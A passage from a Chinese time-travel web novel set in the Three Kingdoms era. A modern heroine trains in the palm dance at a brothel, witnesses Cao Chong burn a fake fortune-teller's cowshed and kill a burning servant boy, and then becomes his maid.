“这个……那个……”年纪比袁媛大不了多少的龟公预备役狗儿歪着头想了半天,憋出一个理由,“娶妻需得十里红妆,广宴宾客,花费可比来咱们怡红院一夜春宵多了去。更何况,邵娘子贤惠,体贴王公子处境艰难,不仅分文不取,还时常贴补一二。”
这不就是传说中的白/嫖?
袁媛肃然起敬:“王公子一定长得很俊朗吧?”
邵娘子阅男无数,不掏银子还能让她心甘情愿倒贴的,怎么说也该是个男中小极品。
狗儿摇头:“马脸,豆眼,猪鼻,长相有些差强人意。”
袁媛不信:“你别框我,长这么丑邵娘子没把他打出去还白给他睡?王公子家的祖坟是冒青烟了吗?”
“要不怎么说人间自有真情在呢。”狗儿老成的念了句歪诗,把邵娘子的原话学给袁媛听。
“神算王公子知古通今,前途无量。东市李屠夫力能扛鼎,前程万里。西街赵书生出口成章,前程似锦。此外,还有城北的刘鞋匠,河下的朱厨子,巷尾的杨掌柜……邵娘子慧眼识珠,每一位都柔情以待,以身相许。邵娘子说,广撒网,多积德,她不知哪位公子最终能青云直上,但只要她押注的公子够多,总有一个会发达的。”
可惜邵娘子生不逢时,她要是晚生三千年,绝对是风投女王。
袁媛跪了:“佩服佩服!”。
投资界隐藏大佬邵娘子眼光独到,手段不拘泥于无师自通的多方下注,还体现在她对风月市场的敏锐嗅觉上。
“掌上舞必然会再次大火。”
“这是我的机会,也是你的机会。”
“只许成功,不许失败。”
“嗷!”回答她的,是袁媛杀猪般的哀嚎。
怎么会有这么变态的舞蹈!
掌上舞是汉成帝皇后赵飞燕独创的舞种,舞姿轻盈,踽步曼妙,因深受汉成帝刘骜喜爱曾在民间红极一时。但如今二十几年过去,赵飞燕被废自杀,刘骜也早成白骨,能在水晶盘上旋转跳跃的掌中舞逐渐势微,只有极少数青/楼/
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楚/馆将其作为保留节目。
传说汉成帝为赵飞燕特制的水晶盘只有巴掌大,可传说只是传说。目前,业界跳得最好的舞妓最多能把托脚的瓷盘缩小到六寸见方,已经非常不容易。
而邵娘子对袁媛的要求是,重现赵飞燕的辉煌。
呵呵。
真想把《人体力学》怼到她脸上!
为了能在方寸间行动自如,练习掌上舞的姑娘要做的第一件事就是踮脚走路。如同现代的芭蕾舞者,以脚尖为支撑站立并进行跳跃的方式不可避免地会对双脚造成伤害。从某种意义上来说,练习掌中舞的目的就是为了使脚变形成能适应绷直起跳和落地的样子。
正常来说,舞妓刚开始接触掌中舞的第一年,双脚会频繁扭曲、起泡甚至流血、骨折,这一阶段只能咬牙硬熬。等待脚拇趾在日积月累的压力下完成外翻、脚尖磨出能保护脚部的厚茧,跳舞带来的疼痛感就会逐渐消失,掌上舞最难过的一关就算是闯过去了。
但袁媛并不正常。
拥有极限修复能力的她可以骨折,可以流血,但她的脚永远不会扭曲,也永远变不成畸形的适合跳掌中舞的样子。
她被卡在了第一关,无限循环。
这真是个悲伤的故事。
清晨的舞房,袁媛的每一次跃起都伴随着针尖刺入般的疼痛,每一次落地都把她的脚指甲狠狠地嵌入血肉中,痛得她不自觉地龇牙咧嘴。
MD!
想到还要这样跳几年,一直跳到末世来临,她就觉得生无可恋。
忍无可忍无需再忍!
袁媛就地躺平,摆烂抗议。
她要反抗,她要斗争!她要为自己争取不跳舞的权利!
“起来继续跳!”邵娘子一改往日柔和,脸色铁青,嘴角绷成一条冷硬的直线。她居高临下地俯视地上的咸鱼,额角暴起的青筋揭示了她此刻的铁石心肠。
“我不!”咸鱼把眼一闭,扭头不理。
“小蹄子,看老娘治不死你!”
耳边传来邵娘子走远的脚步声,袁媛心中突然升起糟糕的预感。
强烈的不安令她不由自主地睁开眼,冲入眼帘的是一根比手臂还粗的皮鞭,被邵娘子提在手里,用力一甩,响声清脆,在半空中划出一道凶猛的弧线——
“别别别!我起来了,我这就起来!”袁媛一蹦三尺高,险险躲过鞭子。
幸好幸好。
不然这一鞭子打在身上,怕是得皮开肉绽。
袁媛一边紧张地盯着邵娘子的动作,一边小心避开她的视线,生怕自己的眼神会被她严厉的目光捕捉到。
狂暴状态的邵娘子,简直比魔王还要可怕!
大魔王把玩着鞭尾,冷笑:“还敢不敢偷懒了?”
“不敢不敢!”袁媛积极保证,语带哭音,“我爱跳舞,我马上就开始跳,我一刻不停地跳,呜呜呜你别打我!”
邵娘子:“原地练习五百个大跳五,我让狗儿来监督,跳不完不许吃饭。”
袁媛:“……五百个脚都要跳烂了,能不能减少一些?”
邵娘子:“你说什么?风太大我没听清。”
袁媛:“好的没事了,我会完成的呜呜呜呜。”
5. 旧鞋
付出总是有回报的。
在无数次的指甲劈裂、韧带拉伤、踝关节骨折、软组织撕裂……之后,袁媛与掌中舞达成了一种微妙的和解。
她用自己的亲身经历证明了一条真理:人的潜力是无限的。
真正识时务的人,身上的每一块肌肉都是识时务的。
即使没有外翻的脚趾、厚茧的支撑也能跳完掌中舞,只要邵娘子将鞭子高高举起,袁媛的腿部肌肉就会本能寻找到最适合的发力方式,输出一段让人挑不出错的舞姿。
除了难看以外,没别的毛病。
“节奏都卡上了,动作也算到位,但为什么怎么看怎么不对劲呢?”邵娘子琢磨半天,啧啧称奇,“别家舞妓跳舞,飘逸轻盈,宛若天鹅。我家滚滚跳舞,呆板僵硬,彷如大鹅。我看她也别叫袁滚滚了,干脆改名叫袁大鹅,与赵飞燕前后呼应,说不得还能名垂千古——有个成语是东施效颦。当不了西施,还不许她当个东施青史留名了?”
伤自尊了。
没这么埋汰人的。
袁媛咬一口菜饼,假装没听见。
今儿的饼子格外好吃。
因为有肉。
为控制妓子的体重,也为了节省伙食费,怡红院的日常饮食是很少能见到荤腥的。今天之所以舍得在馅里放肉,主要是因为有一桩大喜事。
邵娘子的风投马上就要取得丰厚的回报了!
在怡红院装神弄鬼、“养望”数载的王公子赶在邵娘子把他判定为垃圾股之前,终于雄起了一把,成功引起了时任冀州牧的曹操的注意。
邵娘子与有荣焉:“我就说,王公子是有真本事的人。先前州牧大人已派谋士来请过他一回,但王公子避而不见。他私下里偷偷告诉我,‘上赶着的不是好买卖’,太容易得到的都不会被珍惜。他自认才比晏婴,不是什么人都能请动他的。州牧大人需得展现他的诚意,通过他的考验,才能有幸得他出山相助。”
这故事似乎有点耳熟。
但刘备三顾茅庐应该发生在建安十二年与十三年的冬春之交,也就是两年后。现在的诸葛亮应该还躬耕于南阳,在隆中做他的布衣。
王公子难不成是与诸葛亮想到一块儿去了?
他就作吧!
往前追溯一千多年,在渭水之滨钓鱼的姜太公才是愿者上钩的鼻祖。当时周文王数次拜访姜太公都未能见到真人,直到最后用诚意和决心打动了姜太公,才成功咬上了姜太公的直钩。
谋士故弄玄虚考察未来主公并不稀奇,稀奇的是愿意配合的主公。
不是所有上位者都有周文王和刘备的好脾气的。
曹操就不喜欢自作聪明的人。
当下在曹操府上任主簿的杨修,按照历史就会在十四年后死于聪明反被聪明误。
造成他死亡的导火索其实是一件极小的事:曹操收到一盒酥饼,在盒子上写下“一合酥”后随手放在桌子上,恰好被杨修看到。杨修没有经过曹操同意,擅自招呼同僚把酥饼分食了,被曹操责问时还振振有词:“你在盒盖上写着‘一人一口酥’,我只是在遵照你的命令行事。”曹操当时装作不在意,没多久却借口杨修“前后漏泄言教,交关诸侯”把他杀了。
聪颖过人又如何?
想用小聪明拿捏曹操?不存在的。
曹操会教你做人。
袁媛几乎已经肯定邵娘子的投资将血本无归,王公子得以善终的唯一希望寄托在被曹操派来的谋士身上。
毕竟不是曹操亲自上门,如果那位谋士心地善良,把王公子当做神经病,不与他计较,那他还有一线生机。
可惜,他运气不好。
邵娘子告诉袁媛:“上次来拜访王公子的人是安国亭侯程昱。”
袁媛:……行吧。
这下,王公子面对的已经不是会不会死的问题,而是会怎么死的问题了。
程昱是初平年间就投靠了曹操的谋士,在他接受曹操的辟召之前,曾拒绝了地方势力刘岱等人的邀请,表现出对于形势的精准判断力。但是,让程昱闻名后世的并不是他的慧眼识珠,而是记载在《魏晋世语》中的一则轶事。
兴平元年,曹操与吕布相互攻伐,曹操的军队遭遇了严重的粮食短缺,几乎无法继续坚持。程昱为了帮助曹军解困,采取了极端措施,回自己的老家东阿县抢夺父老乡亲的粮食,甚至将一些邻里老乡做成人肉干,充作军粮,最后成功帮助曹操度过了难关,但也将“程昱”的名字刻在了“中国古代第一狠人”的排位上。
敢让程昱吃闭门羹,袁媛敬他是条汉子。
本着人道主义精神,在邵娘子打发袁媛和狗儿两人去给王公子送菜饼、顺便代表怡红院联络感情的时候,袁媛二话没说,往篮子里加塞了朵在院子里偷摘的白花作为临终关怀。
三国小透明人微言轻,只能帮他到这里了。
半路上,袁媛突然回过味来:“邵娘子怎么会吩咐我出门办事,她难道就不怕我趁机跑了吗?”
“怎么可能?”狗儿睁大狗眼,把头摇成了拨浪鼓,“谁都会跑,就你不会。”
“哈?”袁媛隐约有种被鄙视了的错觉,虚心求教,“为啥?”
“因为你怂呗。”狗儿不假思索,脱口而出。
什么话!
袁媛确定了,她是真的受到了鄙视:“我哪里怂了?”
“你不怂吗?”狗儿右手握拳伸到袁媛鼻子底下,向上一翻,露出掌心。
“啊啊啊!”袁媛整个人像被电流击中,身体如同弹簧一样向后弹射,口中迸发出突兀刺耳的尖叫。
“看吧。”狗儿掏掏耳朵,淡定看着甲壳虫用六条腿紧紧扒住袁媛身上的布料,缓慢地沿着缝线闲庭信步。
“你快点把它赶走啊!!!”
袁媛无能狂怒,手舞足蹈地想要赶跑吓死人的甲壳虫,但每次都功亏一篑,看得狗儿都忍不住为她忧愁。
“我就说,连只小虫子都能把你吓去半条命,你不怂谁怂?邵娘子早就发现,你连厨娘杀鸡杀鱼都不敢围观,要是离了怡红院的庇护一个人跑去外头,不小心遇见强盗兵痞,怕是能当场吓晕过去,哪里还有命在?”
狗儿有理有据,袁媛虽觉窝囊,但确实无从反驳。
事有轻重缓急,当务之急并不是与狗儿打嘴仗,而是甲壳虫快要爬完布料了!
“快点,把它抓走啊啊啊啊!”袁媛急切地催促,尖锐的呼叫震得身旁的树叶都微微颤抖。
“这么大个人,竟然被只小虫子吓住,你真没用。”
趁甲壳虫离爬上袁媛的皮肤还有一寸距离时,狗儿终于大发慈悲,救袁媛于水火。
他快准狠地捏住了甲壳虫的外壳,手指弯曲成团,堵死了甲壳虫乱窜的去路。
袁媛松了口气,但扔警惕地盯着狗儿的手:“你把它扔了吧。”
“一只虫子而已,你至于么。”狗儿毫不避讳展示出他的嫌弃,但仍然听话把甲壳虫扔到了树干上。
甲壳虫不紧不慢地随风摆动了几下触角,优哉游哉地消失在了草丛中。
袁媛危机接触,送狗儿一个白眼:“我只是怕虫子,只要不跑去野外有虫子的地方就行,又没什么关系。”
“除了怕虫子,你还怕饿,怕冷,怕黑,怕痛。”十岁上下的小男孩不愧是人嫌狗厌的钢铁直男,半点情面没给袁媛留,“怡红院再不济,也有片瓦遮雨,粗饭顶饱。先前你跳不好掌中舞的时候,邵娘子还发愁,就怕哪天发现你实在是朽木不可雕,想把你撵出门去,你会像块狗皮膏药似的黏上她,可把她担心坏了。”
袁媛:“……我们还是快点赶路吧!”
这天是聊不下去了。
袁媛与狗儿相看两厌,好在他们并不需要容忍对方多久。
怡红院距离王公子的家并不远。
说是王公子的家其实有点不太恰当,因为比起王公子,牛爸爸牛妈妈并两只小牛一家四口才是这个由几根木头和茅草搭建的简易牛棚的真正主人。在王公子雀占鸠巢之前,牛爸爸就生活在这里。王公子凭借着人类比牛类漫长的多的生命长度,熬死了牛爸爸的爸爸、爷爷、太爷爷,最终成为了牛棚里仅次于牛爸爸的资历最老的生物。
袁媛盯着摇摇欲坠的木板看了半天,鼓起勇气给自己做心理建设。
应该,不会运气那么背,正好在她
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登门拜访的时候塌了吧?
听说王公子早年经历不可考,邺城人认识他的时候,他自称是琅琊王氏后裔,因战乱与族人失散,被迫在邺城落脚。三国讲究门阀氏族,琅琊王氏名声响亮,王公子略通文墨,初始时也曾风光过一阵子。
但他很快就踢到了铁板。
官渡之战前,他不知哪根神经搭错,跑去游说兵力远胜曹操的袁绍,说他夜观天象,发现袁绍马上就要打败仗,建议他戒骄戒躁、早作打算为妙。
大战在即,最忌讳动摇军心。
袁绍刚愎自用,本就听不得逆耳忠言,当场就想砍了这个不知死活的二百五。好在琅琊王氏招牌够亮,监军沮授、别驾田丰力劝袁绍三思,方才令袁绍强压住火气,耐着性子问他:“你仔细说说,究竟是哪个天象预示了我要打败仗?”
“呃,这个。”王公子挠挠头,卡壳。
沮授和田丰也傻眼了。
卜卦看象是三国士族的基本功。古人说话含蓄,有时明明看出战败是主将的能力问题,也得推到天上的星星亮度不够,或者方位不吉利上去,最大限度地为主将留下颜面,同时为自己树立起世外高人的高深形象。
谁能想到,自诩上通天文、下晓地理的琅琊王公子,竟然连胡乱拉扯几个天上星宿的名字都不会呢?
眼看袁绍怒气越来越盛,关键时刻,还是沮授看在琅琊王氏的面子上,胡诌了个“天机不可泄露”的理由,把王公子从鬼门关捞了回来。
但死罪可免,活罪难逃。王公子被打得三月下不了床,在袁府的谋士之路,就此断绝。
他不死心,伤好后扬言要去投刘备,像模像样地打点行装与邻里告别。结果,还没走出冀州,就遇上流寇,好险才死里逃生,灰溜溜回到邺城。
屋漏偏逢连夜雨。
恰逢琅琊王氏正牌子弟游历到邺城,拿出族谱与王公子一对,发现丫就是个冒牌货,当场便命人将他打得满地找牙。
至于之后王公子从哪里跌倒就从哪里爬起来,一边苦练坑蒙拐骗,啊不,是算卦卜命技术,一边卧薪尝胆,十年磨一剑等曹操三顾茅庐,那就是另外一个故事了。
现如今,琅琊王公子的故事已成过眼云烟,王姓诸葛孔明的新故事还没开始。正处在至暗时刻的王公子青黄不接,暂时只能在破败不堪的牛棚里栖身。
大概为了彰显主人的文采,入口处还贴了一副对联。
上联:屋不在华,有才自雅。
下联:路不在远,有志则达。
就,还挺讲究的。
门口破旧不堪,仅用一根半断不断的朽木勉力支撑,风一吹,便能听到吱吱嘎嘎的呻吟。
狗儿站在外面叫了几声王公子,无人应答。
但他们专程跑来,总得把菜饼留下。
袁媛抬脚,跨进门口那不能算是门的木栅栏,霉味和臭气扑面而来。两坨巨大的牛粪中间,几块烂木头粗糙拼接成一张床榻,上头杂乱地散放着一层薄薄的稻草,大抵就是王公子的被子,无比原生态。
熏天的臭气争先恐后地冲进鼻孔,捂住鼻子毫无用处。霸道的臭气似乎并不仅仅来源于牛粪,还有一种无法用言语形容的腐烂的草料味道。
袁媛的每一个嗅觉细胞都在不自觉地痉挛,恶心的感觉沿着鼻腔滑到胃部,让她的五脏六腑都痛苦地抽搐了起来。
不行,太臭了,再呆下去要吐了。
“呕!”
赶在干呕变成实质性的呕吐前,袁媛冲出牛棚,半蹲在地上,大口吸取新鲜空气拯救感官。
太好了,活过来了!
恶心感褪去,袁媛虚弱抬头,正想去与狗儿说道几句,还没站起身却被一双熟悉的男鞋吸去了注意力。
云纹繁复,瑞兽呈祥。细密的绣线仿佛流动着的金色水光,鞋头镶嵌的珍贵宝石随着步伐光芒闪烁,让人一眼就能看出鞋主人与生俱来的高贵身份。
袁媛死也忘不了它。
一年前,她倒在袁家金碧辉煌的大殿里,痛不欲生,闭上眼睛前映在视网膜上的最后一个画面,就是这双鞋。
唉呀妈呀,赶紧快跑,不然说不定又要死了!
6. 仁慈
开个玩笑。
跑是不可能跑的,因为跑了也没用。
虽然袁媛只看到了一双鞋,但不代表那位疑似姓曹的少年没有帮手。只要袁媛的眼睛没瞎,就能看到站在他身后那一溜高大威猛、虎背熊腰的练家子。
每一个看起来都不好惹。
早知道刚才出门的时候应该戴顶斗笠的……袁媛有些懊恼。
但也许,少年已经忘记了她?
袁媛侥幸地想。
她被杀已经是一年前的事,仔细算起来当时与少年也不过是打了个照面。曹军弑杀,少年手上的血债必然不少,总不见得每个被杀的路人甲他都费心记得长相吧?
况且小孩子长得快,少年自己的身高就比去年拔高了不少。这一年里虽然大半年袁媛都在万人坑里死去活来,但怡红院的伙食还不错,最近数月的饭她也不是白吃的……
“过来。”
短短两个字,惊得袁媛心跳如鼓。
少年的声音并不响亮,身体的姿态也很放松随意。但他仿佛自带高光,根本不需要任何动作,简简单单站着,强大的气场就能压得周围的人喘不过气来。
袁媛的身后,狗儿率先跪了下去。
所有人的目光都投注了过来,压力给到袁媛。
“给大人请安!”袁媛双腿一软,膝盖着地,“大人是来寻王公子的吗?小人是来给他送饼子的!您怕是白跑一趟,他不在家!”
少年右手一挥,两个披甲武将气势汹汹地冲到牛棚前。
大约是嫌臭,他们并不往里走,只在木栅栏跟前不耐烦地叫喊:“王公子,识相的话就自己滚出来,不然别怪我们把牛棚烧了!”
回答他们的,是牛爸爸愤怒的抗议。
这四只老实巴交、安分守己的牛牛招谁惹谁了?
没这么欺负牛的!
袁媛为牛们鸣不平,却不敢表现得太明显,因此鸣得非常委婉:“小的方才进去看过了,里面真没人……”你们把牛棚烧了也没用,还是别殃及池牛了吧。
可惜没人听他的。
负责喊话的武将说话算话且没有废话,掏出火折子迎风一杨,精准地点燃了牛棚顶上的茅草。
浓烟四起,牛叫声响成一片。
少年和他的武将们立在牛棚前,静静看着一开始在茅草间跳跃的火星迅速蔓延成片。
少年的目光虽然盯着火场,但眼神中却无惊无喜,透露出一种与年龄极其不相符的疏离与冷酷。
“咳咳咳!”
挣脱了牛绳的牛爸爸拖家带口地从火光中冲出,与他一同出来的还有一个脸被熏得漆黑的中年男子,倒在地上剧烈咳嗽。
王公子竟然真的躲在牛棚里!
袁媛深表震惊。
但仔细一想,却并没那么意外。
虽然定下了三顾茅庐的计策,但王公子比不得诸葛亮。
他身无长物,穷困潦倒,雇不起童子帮他在门外告知来客“先生今早少出”,但他总得知道曹操是不是真的来请过他。所以,他根本不敢出门,每天躲在牛棚里假装不在家,只等曹操来三回后再“勉为其难”出山入仕。
上次程昱来访,如果王公子真的不在牛棚里,他也就不会知道曹操已经派程昱“一顾”过他了。
闲的蛋疼。
少年用火攻挑破了王公子的小伎俩,似笑非笑:“听闻你夜观天象,认为我父三年内必有一场大败,届时天下局势初定,曹家元气大伤,再无助天子一统天下的可能?”
袁媛呼吸一滞,脑海中草泥马奔腾。
第一匹马:这少年果然姓曹,还是曹操的儿子。曹操在历史上留有记录的儿子一共有二十五个,除了比较有名的曹丕曹植之外,大部分的出生年月不可考。袁媛记不清那么多人的名字,不知道这少年是其中哪一个。
第二匹马:曹操三年之后的大败,不就是指赤壁之战嘛!赤壁之战前,曹操破邺城,围壶关,征乌桓,大胜白狼山,势如破竹,意气风发。赤壁之战后,曹操损失惨重,被迫退回北方休养生息,彻底失去了染指南方的实力。
这王公子有点东西!
袁媛惊叹。
作为一个从小受无神论教育的现代人,你要是问袁媛信不信封建迷信,那必然是不信的。但在她所浸淫的文化里,还有句话叫做“宁可信其有,不可信其无”。她的国人处事谨慎,哪怕闹不明白庙里那一个个面目各异的菩萨到底有什么灵通,也不妨碍他们进去磕一磕头,求一个平安吉祥,顺遂喜乐。
卜卦算命也是同理。
人人都知道十卜九骗,但这不是没把话说死,还留了十分之一的生机吗?
袁媛在穿越前恶补过三国史,别的不说,赤壁之战时突然刮起的东风的确充满了玄学色彩,“借东风”的传说更为这场战役蒙上了神秘的面纱。与之有异曲同工之处的还有诸葛亮七星坛借寿、管辂的神算等。
王公子已经说准了一次官渡之战,现在又算出了火烧赤壁,为什么非得认定人家在装神弄鬼呢?
承认人家优秀就那么难吗?
虽然细看王公子的长相,真的很难将他与优秀二字联系起来。
他的眼睛又小又细,鼻梁塌陷,一口黄牙参差不齐,头发稀疏干枯,如同他床上盖的茅草,毫无生气。他身上的长袍颜色陈旧,胸口显眼处破了几个洞,脚上蹬着的草鞋磨损得不成样子,寒酸晦气。
时人推崇的名士气度更是与他绝缘。虽然与邵娘子相处时他总是习惯昂着头高谈阔论,但此刻见了“贵人”,他却低垂着脑袋,脊背佝偻,目光游移,根本不敢与曹姓少年对视。
就是笔直跪在地上的狗儿,看着都比王公子体面些。
曹姓少年带的正规军各个装备精良,军容规整,自然看不上王公子的落魄。
先前负责喊话点火的武将鼻孔微扩,仿佛王公子是一股令人生厌的臭气,眼神中迸射出毫不掩饰的厌恶:“七公子,这神棍分明是在妖言惑众,何不让我一刀将他砍了,免得他污了公子的耳朵!”
七公子?
如果袁媛没记错,曹操的第七个儿子应该是曹冲。
曹冲称象的那个曹冲。
袁媛心神一凛,那头王公子终于鼓起勇气抬头,愤愤地瞪了武将一眼:“你懂什么?”
大概是上次吃过说不出天象的亏,他卯足了力气要把场子找回来:“帝星晦暗,太白昼见,水土逆行,荧惑朗朗,文昌失陷,魁星隐匿,天河暗淡,贪狼横行,廉贞动摇……”
他足足讲了三十分钟,语速平稳,犹如一台没有感情的收音机。每一个词都是四个字,对仗工整,滔滔不绝。
那位挨了一眼瞪的武将的脸色肉眼可见的越来越阴沉。袁媛毫不怀疑,要不是有曹冲这尊大神镇着,王公子的脑袋早就搬家了。
作为主将,曹冲的涵养明显比武将高得多。
自始至终,他的情绪都很稳定,目光专注,态度温和,耐心的倾听令王公子感受到了无声的鼓励,促使他讲得更起劲了。
除曹冲以外,其他所有人的眼神都逐渐飘忽。
火舌舔舐着牛棚的每一个角落,烟雾腾腾,噼啪作响,但没有一个人救火。
王公子不敢救,袁媛不能救,武将不愿救,曹冲不想救。
长篇大论的最后一个字在空气中回荡,王公子激动地抬起头,期待地看向唯一的听众。
可惜听众连个眼神都欠奉。
他虽然微笑着,但英俊的眉眼勾勒出冷淡和疏离。
“绑起来。”
王公子听到他说:“带回去交给仲德先生
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。”
刚刚还听得昏昏欲睡的袁媛虎躯一震,全身的细胞都仿佛被冰冷的铁针戳了一下。
程昱字仲德。
王公子不爱说人话,但是程昱会有千万种办法让王公子爱上说人话。
杀鸡焉用牛刀耶?
王公子听过程昱的威名,梗着脖子强调他要见曹操:“小人有妙计,可助曹公荡平中原,用兵如神,所向披靡,震古烁今……”
眼见着他又要开始不说人话,武将赶忙上前,用刀鞘把他击昏了。
凌厉的目光扫过袁媛,她连忙低下头,低眉垂眼。
曹冲翻身上马,袁媛的心脏如同一颗半悬在崖边的石头,摇摇欲坠。她听到马蹄不紧不慢闲踩泥地的声音,噗噗噗,一下一下,沉闷如丧钟。
他应该没认出她……吧?
膝盖被顶得生疼,袁媛不敢抬头,紧握的双手仿佛要努力把最后一丝希望抓进掌中。
但这希望如同脆弱的泡沫,被马蹄轻而易举地踩碎了。
沾着希望碎片的马蹄停在袁媛面前。
曹冲的声线从头顶传来:“‘竟然敢在我的地盘撒野,小心姑奶奶拉你们来阴间作伴!’是什么意思?”
袁媛一愣。
因为当时翻译器没有调试好,所以在曹冲听来她的话是一串闻所未闻的音节,可是他只匆匆听过一遍,就将这段话原原本本地复述了出来,甚至连语音语调都模仿得惟妙惟肖。
中间间隔了一年!
这是什么神仙记忆力!
袁媛的小心脏给他跪下了,现实中的两条小短腿跪得更稳:“没什么意思,就,就是劝袁家的侍卫们放弃抵抗,早日弃暗投明,不要做无谓的挣扎……”
曹冲的表情有些玩味:“劝人投降需要踢翻矮桌?”
袁媛陪笑:“这不是大家都打得正在兴头上,我怕侍卫大哥听不到我的话嘛!”
“呵~满口胡言!”
袁媛头皮发麻。
为什么曹冲会一口咬定她没说实话,她的解释明明很符合逻辑才对……他该不会是故意诈她的吧?
怪不得历史上的曹冲没活到十三岁就夭折了,连她这种毫无威胁的阶下囚都要玩心眼,思虑过重可不就得被阎王爷惦记了嘛!
袁媛扬起小脸,无声地告诉曹冲,她已经看破了他的阴谋诡计。
微妙的对峙中,一声凄厉的尖叫打破了凝滞的沉默。
被烧空了骨架的牛棚轰然坍塌,溅起的火星跳上狗儿的头顶,贴着头发和皮肤肆虐开来。
眨眼间,狗儿的五官就被融化了!
疼痛令他在地上疯狂翻滚,武将们轻拉缰绳安抚受惊的马匹,静静看着他变成一个火人。
“救救他!”袁媛失声哀求。
最近的一口井在两条街外,但如果武将们愿意跑一个来回,说不定狗儿还有救!
可是武将岿然不动。
这帮禽/兽!
袁媛暗骂,火速脱下间色裙准备扑火,但有人的剑比她更快!
几乎是电光火石间,杯口大的窟窿就贯穿了狗儿的喉咙。
狗儿的挣扎停止了。
袁媛的心跳也仿佛停止了。
如同电影慢镜头一般,肆虐的火焰吞尽了生命的鲜活,留下一个充满了烟和灰的黑白世界。
“七公子真乃仁慈典范!”震惊中,袁媛听到马上有个尖细的声音说,“公子雷厉果决,助小民迅速摆脱危难,实乃仁德之举!”
——死了就不怕火烧了,危难也就结束了。
——只要狗儿不像袁媛一样会死而复生,他的痛苦到这里就画上了休止符。
——帮他结束这一切的曹冲真是个大好人呐!
袁媛僵在原地,被神逻辑噎得一句话都说不出来。
7. 撒谎
袁媛蹲在地上,望着空无一影的脚边发呆。
是她疏忽了。
时隔一年故地重游,袁媛终于搞明白了自己错在哪里。
三国时连电都没有,室内照明全靠油灯。袁家豪富,不吝灯烛,富丽堂皇的大殿怎能昏暗阴沉?
工匠们殚精竭虑,想尽办法在各关键点位布下火灯做成的天罗地网,效果犹如后世的无影灯。而且,为了展现出高超的建造工艺,所有光源都被隐秘地藏在肉眼不可见的地方,堪称巧夺天工。
换句话说,根本不是袁媛没有影子,而是她的影子已经淡化到肉眼无法分辨了。
人蠢就要多吃苦。
袁媛不知道曹冲为什么把她带回来。
也许是看重她袁绍之女的身份,也许是对她死而复生的怀疑,曹冲没有解释,袁媛也不敢去问。
但他指定她做婢女,袁媛一百万个不理解。
袁绍的死因虽然是病逝,但他的病因起于官渡之战,将官渡之战的胜利者曹操视为始作俑者也不为过。而且,几个月前,曹操攻破南皮,不仅斩杀了袁媛的长兄袁谭,还下令将袁谭的妻小处死。
前有杀父之仇,后有杀兄嫂加一众侄子侄女之恨,曹冲到底得有多大的心,才能毫无芥蒂地把袁媛这颗定时炸弹放在身边伺候?
不过,只要想到曹冲的二哥曹丕不仅在建安九年收了甄宓,即使在建安十二年曹操斩获袁熙首级后也没有停止对甄宓的宠爱,还在二十年后立甄宓所生儿子曹叡为皇太子,就知道曹家人对“斩草不除根,春风吹又生”的理解多少有些异于常人。
也不怕万一甄宓旧情难忘,待曹丕睡熟为了前夫捅他一刀。
就连发表过“宁教我负天下人,休教天下人负我”言论的曹操在曹冲屋里看到袁媛时,也没有对儿子把定时炸弹安在卧榻之畔的行为提出任何疑义,反而像寻常人家的慈祥老爷爷似的乐呵呵地摸了摸胡子:“颜如玉,美如画,不愧我儿,目力非凡,肖吾也!”
震耳欲聋的大笑差点惊掉了袁媛的下巴。
曹冲生母环夫人也对袁媛非常满意,夸她不仅继承了袁绍的好样貌,还兼具她那位不幸早逝的生母的柔美,假以时日一定会长得比甄宓更漂亮。
就……妥妥的颜值即正义。
画风不是一般的迷。
曹冲虽然从来没有正面评价过袁媛的容貌,但看他有事没事喜欢指使她在眼皮子底下干活的作风,十之八九也是个颜控无疑。
不然无法解释他明明有十几个婢女杂役,各个心灵手巧,能干伶俐,贴身伺候饮食起居的晓露、晨曦、夕雾、暮霞四人更是缜密妥帖。他明明不缺人伺候,为什么还要来为难她,也为难他自己!
怎么会有人喜欢让一个手脑双残的废柴贴身伺候呢?
其他婢女小姐姐端水:手稳如磐,步履矫健。
袁媛端水:手酸腿抖,摇摇晃晃,一不小心溅曹冲满身。
其他婢女小姐姐擦过的地:纤尘不染,光洁如镜。
袁媛擦过的地:虽然没有明显的污渍或头发,但仔细看又似乎没那么干净,处于脏与不脏的薛定谔平衡中。
其他婢女小姐姐理好的书架:井然有序,整整齐齐。
袁媛理好的书架:同样井然有序,整整齐齐。但问题是别人能塞二十本书的格子,她拼劲全力也只能塞进去十八本,另外两本无论她怎么想办法,都无法让它们呆在应该呆的地方。
何其怪也!
为了惩罚袁媛干活“不用心”,曹冲日常克扣她的伙食,但坚决拒绝将活另派他人。
什么仇什么怨!
袁媛苦大仇深。
曹冲伸开双手,理所当然地发号施令:“中单。”
袁媛虎躯一震。
什么是中单?她知道的中单是手游里走中路的英雄,但显然这不会是曹冲想要的答案。
虽然已经把语言翻译器调整到了普通话模式,但普通话里也有很多不普通的领域,至少关于古人服饰的普通话就不是历史只能勉强及格的普通人能听懂的。
汉服那么复杂,袁媛面前的大案上摆了十来件各种各样的衣服,谁来告诉她,哪个是曹冲要的“中单”?
狗儿死时,夸曹冲是仁慈典范的狗腿子——张贵偷瞄自家主子的脸色,硬着头皮“噌噌噌”地跑过去,挑出一块如同裹尸布一般的素白长布塞进袁媛手里。
好吧,这大约就是中单了。
袁媛暗暗松了一口气。
但只把名字与实物对上号没用,袁媛举起白布围着曹冲卖力地比划了半天,始终无法确定这布到底该覆盖在曹冲的腹肌上,还是该往下移,把他的某个关键点位挡严实。
虽然那个点位现在有块亚麻色的帛布遮着,可是万一古代男人内裤喜欢穿两层的呢?
曹冲的声线从头顶传来:“你当时是怎么从这里逃出去的?”
“我也不知道。”袁媛垂着眼,双手下意识抓紧白布,强装镇定地把之前已经打过无数遍的腹稿吐出来,“我流血过多昏过去了,醒来时就已经在野地上躺着,周围一个人都没有。我想,应该是有人救了我,把我背出去的。”
“听起来很合理。”曹冲语气玩味,示意张贵接过袁媛手中的长布,慢条斯理地整理衣装,“汝南袁氏门生无数,故吏遍野,虽一夕落难,难保不会有几个义士忠仆不惜性命施以援手,趁乱救人不足为奇。”
你能这样想就再好不过了!袁媛疯狂点头。
“但你在说谎。”
袁媛笑容一僵:“我说的都是实话。”
“呵~”曹冲发出一声只可意会不可言传的轻嗤,讽刺感莫名拉爆。
好像袁媛话里的漏洞大得如同筛子,他甚至不愿意浪费一丝一毫的精力去解释如此显而易见的问题。
但是不应该啊!袁媛疑惑地想。
她的解释逻辑链清晰且没有人证,所以很难证伪,曹冲是凭什么确定不是真话的呢?
曹冲又问:“你现在还想逃出去吗?”
这是什么送命题,难不成是钓鱼执法?
傻子也知道答案只有一个:“不想。”
